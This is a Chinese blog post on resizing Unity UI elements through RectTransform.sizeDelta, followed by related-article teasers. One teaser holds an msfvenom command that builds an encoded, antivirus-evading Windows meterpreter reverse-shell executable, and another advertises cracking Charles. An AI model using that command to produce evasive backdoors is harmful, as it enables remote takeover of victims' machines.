Unity-RectTransform設置UI width

不知道有沒人需要這樣的代碼,就是.sizeDelta //不確定是不是英文翻譯的原因,基本很難理解,sizeDelta===Size,//未必完全正確,但這么寫好像總沒錯過

//image 在一個UnityEngine.UI.Image 的數組內foreach (var image in lstOfButtons) {var rectangle =image.rectTransform.rect;rectangle.width = buttonSize.x;rectangle.height = buttonSize.y;//不能這么寫//image.rectTransform..rect = rectangle;var t = image.GetComponent<RectTransform>();var RECT = t.rect;image.rectTransform.sizeDelta = buttonSize;//buttonSize 是 Vector2}

很多年前,分享過這個項目

Unity判斷鼠標點擊是否在某個窗口 RectTransform 內_unity rectanglecontainsscreenpoint-CSDN博客

原理

RectTransform是一個很特殊的存在//上面的代碼已經明顯,指出了

因為,一般人的理解

GameObject

Transform,

已經覺得Unity有些多此一舉了

(實際上Transform 也是GameObject的一個Component)

應該是可以AddComponent<Transform>()不是么

但實際上只能,AddComponent<RectTransform>()

這是為什么呢

主要還是歷史原因

我很難說這個結構到底有什么好,但古今中外,那么一二十年的游戲引擎經驗,我從未見第二個個引擎能做到

(沒有這個結構的,自以為簡單的就是做不好)

很多引擎覺得transform多省事,就是

gameobject

---Transform

---Component

這樣的結構多好,多簡單

實際上,最重要的結構就是Unity隱藏起來的:RectTransform

這是一個特殊的Component,特殊的UI結構(也是必然的UI結構)

因為一個比較符號用戶習慣的UI編輯器有三部分

RectTransform幾乎完美的融合你這三部分(用最簡單,最貼近用戶的做法,雖然API名字有些怪異)

并不是程序正義,而是符合用戶習慣。。。

本文來自互聯網用戶投稿,該文觀點僅代表作者本人,不代表本站立場。本站僅提供信息存儲空間服務,不擁有所有權,不承擔相關法律責任。
如若轉載,請注明出處:http://www.pswp.cn/pingmian/73516.shtml
繁體地址,請注明出處:http://hk.pswp.cn/pingmian/73516.shtml
英文地址,請注明出處:http://en.pswp.cn/pingmian/73516.shtml

如若內容造成侵權/違法違規/事實不符,請聯系多彩編程網進行投訴反饋email:809451989@qq.com,一經查實,立即刪除!

相關文章

java學習——函數式編程(1)

函數式編程 Java 的函數式編程是一種以函數為核心構建邏輯的編程范式,強調不可變性、聲明式代碼和無副作用的操作。它通過Lambda表達式、函數式接口(如Function、Predicate、Consumer等)和Stream API等特性實現,將計算過程抽象為函數的組合與轉換,而非傳統的命令式步驟。…

AP CSA FRQ Q2 Past Paper 五年真題匯總 2023-2019

Author(wechat): bigshuang2020 ap csa tutor, providing 1-on-1 tutoring. 國際教育計算機老師, 擅長答疑講解&#xff0c;帶學生實踐學習。 熱愛創作&#xff0c;作品&#xff1a;ap csa原創雙語教案&#xff0c;真題梳理匯總&#xff0c; AP CSA FRQ專題沖刺, AP CSA MCQ小題…

線程池詳解:在SpringBoot中的最佳實踐

線程池詳解&#xff1a;在SpringBoot中的最佳實踐 引言 在Java并發編程中&#xff0c;線程池是一種非常重要的資源管理工具&#xff0c;它允許我們在應用程序中有效地管理和重用線程&#xff0c;從而提高性能并降低資源消耗。特別是在SpringBoot等企業級應用中&#xff0c;正…

2025年IT行業技術革命全景解析:從AI到量子計算的落地實踐

簡介 2025年&#xff0c;全球IT行業正經歷一場由AI、量子計算、物聯網等技術驅動的變革。從BOE的AI制造系統到德易科技的無人機光伏巡檢&#xff0c;從鯤鵬處理器的國產化突破到量子計算的算力革命&#xff0c;技術創新正在重塑產業格局。本文結合最新行業動態與實戰案例&…

JVM - 年輕代和老年代

通過一些問題來討論 JVM 中年輕代和老年代的內容 為什么要區分年輕代和老年代&#xff1f;哪些對像會進入老年代&#xff1f;什么時候會進行年輕代GC&#xff1f;什么時候會進行老年代GC&#xff1f; 1. 為什么要區分年輕代和老年代&#xff1f; 年輕代中的對象大部分都是短期…

【react】在react中async/await一般用來實現什么功能

目錄 基本概念 工作原理 優點 注意事項 底層原理 實際應用場景 1. 數據獲取 (API 請求) 2. 表單提交 3. 異步狀態管理 4. 異步路由切換 5. 異步數據預加載 6. 第三方 API 調用 7. 文件上傳/下載 8. 路由導航攔截 關鍵注意事項 基本概念 async 函數&#xff1a;用…

高維小樣本數據的在線流特征選擇

發布于24年國際學習和控制論雜志 文獻地址 簡要總結 《Online streaming feature selection for high-dimensional small-sample data》研究了高維小樣本數據&#xff08;HDSS&#xff09;在類別不平衡情況下的在線流式特征選擇問題&#xff0c;提出了一種名為OSFSHS的算法。…

1688.item_search_seller-搜索店鋪列表接口返回數據說明

一、接口概述 item_search_seller 是 1688 提供的一個 API 接口&#xff0c;用于搜索店鋪列表。通過該接口&#xff0c;開發者可以查詢特定店鋪的相關信息&#xff0c;包括店鋪的基本信息、商品列表等。該接口廣泛應用于電商數據采集、市場調研、店鋪分析等場景。 二、接口請…

uniapp主題切換功能,適配H5、小程序

實現方法 方法性能消耗維護成本適用場景內聯樣式較高低小程序CSS變量屬性選擇器低中H5混合方案中等低跨平臺項目 優勢特點 性能優化&#xff1a; H5端使用CSS原生變量切換小程序端使用高效樣式字符串生成切換動畫流暢 維護性提升 主題配置集中管理新增主題只需要拓展vars對象…

線程未關閉導致資源泄漏

文章目錄 資源泄漏&#xff08;線程未關閉&#xff09;問題描述錯誤實現優化原理正確實現優化原理 資源泄漏&#xff08;線程未關閉&#xff09; 問題描述 應用程序啟動時創建線程池處理任務&#xff0c;但未在應用關閉時正確關閉線程池。 現象&#xff1a; 應用重啟時&…

MSF木馬的生成及免殺

先簡單生成一個木馬 ┌──(kali?kali)-[~] └─$ msfvenom -p windows/meterpreter/reverse_tcp lhosts61.139.2.130 lport3333 -e cmd/echo -i 10 -f exe -o cmd_echo_113_3333_10.exe [-] No platform was selected, choosing Msf::Module::Platform::Windows from the pa…

用C#實現UDP服務器

對UDP服務器的要求 如同TCP通信一樣讓UDP服務端可以服務多個客戶端 需要具備的條件&#xff1a; 1.區分消息類型(不需要處理分包、黏包) 2.能夠接收多個客戶端的消息 3.能夠主動給自己發過消息的客戶端發消息(記錄客戶端信息)…

如何在 Postman 中發送 PUT 請求?

在 Postman 中發送 PUT 請求的步驟相對簡單&#xff0c;包括新建接口、選擇 PUT 方法、填寫 URL 和參數等幾個主要步驟。 Postman 發送 put 請求教程

charles抓包軟件免費使用教程

本文將給大家介紹Charles破解教程&#xff0c;支持Windows和Mac系統&#xff0c;操作簡單&#xff0c;永久免費使用。同時&#xff0c;我們也會提到另一款強大的抓包工具——SniffMaster&#xff08;抓包大師&#xff09;&#xff0c;它在網絡調試和數據包分析方面同樣表現出色…

卷積神經網絡 - 參數學習

本文我們通過兩個簡化的例子&#xff0c;展示如何從前向傳播、損失計算&#xff0c;到反向傳播推導梯度&#xff0c;再到參數更新&#xff0c;完整地描述卷積層的參數學習過程。 一、例子一 我們構造一個非常簡單的卷積神經網絡&#xff0c;其結構僅包含一個卷積層和一個輸出…

.NET三層架構詳解

.NET三層架構詳解 文章目錄 .NET三層架構詳解引言什么是三層架構表示層&#xff08;Presentation Layer&#xff09;業務邏輯層&#xff08;Business Logic Layer&#xff0c;BLL&#xff09;數據訪問層&#xff08;Data Access Layer&#xff0c;DAL&#xff09; .NET三層架構…

Redis實戰常用二、緩存的使用

一、什么是緩存 在實際開發中,系統需要"避震器"&#xff0c;防止過高的數據訪問猛沖系統,導致其操作線程無法及時處理信息而癱瘓. 這在實際開發中對企業講,對產品口碑,用戶評價都是致命的。所以企業非常重視緩存技術; 緩存(Cache)&#xff1a;就是數據交換的緩沖區&…

STM32八股【2】-----ARM架構

1、架構包含哪幾部分內容 寄存器處理模式流水線MMU指令集中斷FPU總線架構 2、以STM32為例進行介紹 2.1 寄存器 寄存器名稱作用R0-R3通用寄存器用于數據傳遞、計算及函數參數傳遞&#xff1b;R0 也用于存儲函數返回值。R4-R12通用寄存器用于存儲局部變量&#xff0c;減少頻繁…

effective Java 學習筆記(第二彈)

effective Java 學習筆記&#xff08;第一彈&#xff09; 整理自《effective Java 中文第3版》 本篇筆記整理第3&#xff0c;4章的內容。 重寫equals方法需要注意的地方 自反性&#xff1a;對于任何非空引用 x&#xff0c;x.equals(x) 必須返回 true。對稱性&#xff1a;對于…

mac命令行快捷鍵

光標移動 Ctrl A: 將光標移動到行首。Ctrl E: 將光標移動到行尾。Option 左箭頭: 向左移動一個單詞。Option 右箭頭: 向右移動一個單詞。 刪除和修改 Ctrl K: 刪除從光標到行尾的所有內容。Ctrl U: 刪除從光標到行首的所有內容。Ctrl W: 刪除光標前的一個單詞。Ctrl …